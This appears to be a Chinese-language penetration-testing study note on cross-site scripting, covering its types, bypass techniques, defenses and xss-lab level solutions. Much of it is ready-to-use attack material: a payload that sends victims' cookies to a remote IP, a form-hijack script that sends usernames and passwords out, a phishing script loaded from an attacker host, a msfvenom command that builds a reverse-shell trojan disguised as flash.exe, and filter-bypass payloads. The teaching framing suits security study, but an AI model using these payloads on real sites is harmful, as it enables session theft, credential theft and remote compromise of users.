XSS漏洞
XSS漏洞介绍
XSS全称跨站脚本(Cross Site Scripting),为避免与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故缩写为XSS。这是一种将任意JavaScript代码插入到其他Web用户页面里面执行以达到攻击目的的漏洞。攻击者利用浏览器的动态展示数据功能,在HTML页面里面嵌入恶意代码。当用户浏览该页时,这些嵌入在HTML中的恶意代码会被执行,用户浏览器被攻击者控制,从而达到攻击者的特殊目的,如cookie窃取等。
XSS产生原理
形成XSS漏洞的主要原因是程序对输入和输出的控制不够严格,导致“精心构造”的脚本输入后,在输入到前端时被浏览器当作有效代码解析执行从而产生危害。
XSS的危害
- 网络钓鱼,包括获取各类用户账号
- 窃取用户cookie资料,从而获取用户隐私信息
- 劫持用户(浏览器)会话,从而执行任意操作
- 强制弹出广告页面,刷流量等
- 网页挂马
- 结合其他漏洞,如scrf,实施进一步危害
XSS常出现的地方
数据交互的地方
1
2
3
4get、post、cookies、headers
反馈与浏览
富文本编辑器
各类标签插入和自定义数据输出的地方
1
2
3用户资料
关键词、标签、说明
文件上传
XSS类型
反射型
又称为非持久型XSS,这种攻击方式往往具有一次性,只在用户单击时触发。跨站代码一般存在链接中,当受害者请求这样的链接时,跨站代码经过服务端反射回来,这类跨站的代码通常不存储服务端。
常出现的位置
搜索栏、用户登录入口、输入表单等
攻击流程
存储型
存储型XSS(Stored xss Attacks),也就是持久型XSS,比反射型XSS更具有威胁性。攻击脚本将被永久的存放在目标服务器的数据库或文件中。这是利用起来最方便的跨站类型,跨站代码存储与服务端(比如数据库中)。
常出现的位置
论坛、博客、留言板、网站的留言、评论、日志等交互处
攻击流程
DOM型
DOM是文档对象模型(Document Object Model)的缩写。它是HTML文档的对象表示,同时也是外部内容(例如JavaScript)与HTML元素之间的接口。解析树的根节点是“Document”对象。使用DOM能够使程序和脚本能够动态访问和更新文档的内容、结构和样式。
它是基于DOM文档对象的一种漏洞,并且DOM型XSS是基于JS的,并不需要与服务器进行交互。
XSS常用测试语句
1 | <script>alert(1)</script> |
https://github.com/payloadbox/xss-payload-list
XSS攻击利用XSS平台
XSS平台
- https://xss.yt
- https://xssaq.com
- 自己搭建平台
手动测试
cookie.php
1 |
|
payload
1 | <script>document.location='http://100.100.100.26/cookie.php?cookie='+document.cookie</script> |
beef-xss工具
安装:http://www.loongten.com/2020/01/08/pentest-xss-beef/(kali自带)
XSS钓鱼
version.js
1 | window.alert = function(name){ |
payload
1 | <script src="http://192.168.1.2:8000/version.js"></script> |
生成木马
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=8000 -f exe > flash.exe |
使用winrar制作压缩包(自解压exe)
将生成的木马放在网站上
XSS表单劫持
已获取权限,但不知道管理员账号、密码
pass.php
1 |
|
payload
1 | $a = '<script src=http://192.168.1.21/pass.php?name='.$name."&pass=".$passow rd.'></script>'; |
XSS常见绕过
大小写绕过()
双写绕过
使用别的标签
编码绕过
- js编码、html实体编码、url编码、hex编码等
XSS黑名单绕过
不使用
" "
1
<input onfocus=alert('1') autofocus/>
不使用
' '
1
<input onfocus="alert(/1/)" autofocus/>
不使用
()
1
<input onfocus="alert`'1'`" autofocus/>
不使用
() '' ""
1
<input onfocus=alert`1`autofocus/>
使用html实体编码绕过
1
2
3
4//方法一
<input onfocus="alert('1')" autofocus/>
//方法二
<input onfocus="alert('1')" autofocus/>XSS绕过-onclick触发
1
2
3<div onclick="alert('xss')"/>
<div onmouseenter="alert('xss')"/>- onclick是鼠标点击事件,我们可以在元素中定义JavaScript事件;
- 另一个绕过的办法就是在属性和=之间插入一个空格
XSS防御
因为XSS漏洞涉及输入和输出两部分,所以其修复也分两种
A:过滤输入的数据,包括 ' " , < > on*
等非法字符。
B:对输出到页面的数据进行相应的编码转换,包括HTML实体编码、Javascript编码等。
C:输出编码:主要用HTML实体代替字面量字符,这样做可以确保浏览器安全处理可能存在的恶意字符,将其当作HTML文档的内容而非结构加以处理。
常见的实体编码
显示 | 实体名字 | 实体编号 |
---|---|---|
< | < |
$#60; |
> | > |
> |
& | & |
& |
‘ | " |
" |
设置关键字黑名单
设置http-only
https://blog.csdn.net/weixin_44270509/article/details/102844897
使用html实体编码等
SOP(同源策略)
SOP把拥有相同主机名、协议和端口的页面视为同一来源,不同来源的资源之间交互是受到限制的。
XSS-lab
xss-lab通关:payload
第一关:<script>alert(1)</script>
第二关:"><script>alert(1)</script>
第三关:' onclick='alert(1)
第四关:" onclick="alert(1)
第五关:"><a href='javascript:alert(1)'>
第六关:"><a HRef='javaScript:alert(1)'>
第七关:"><a hrhrefef='javascscriptript:alert(1)'>
第八关:javascript:ale ;rt(1)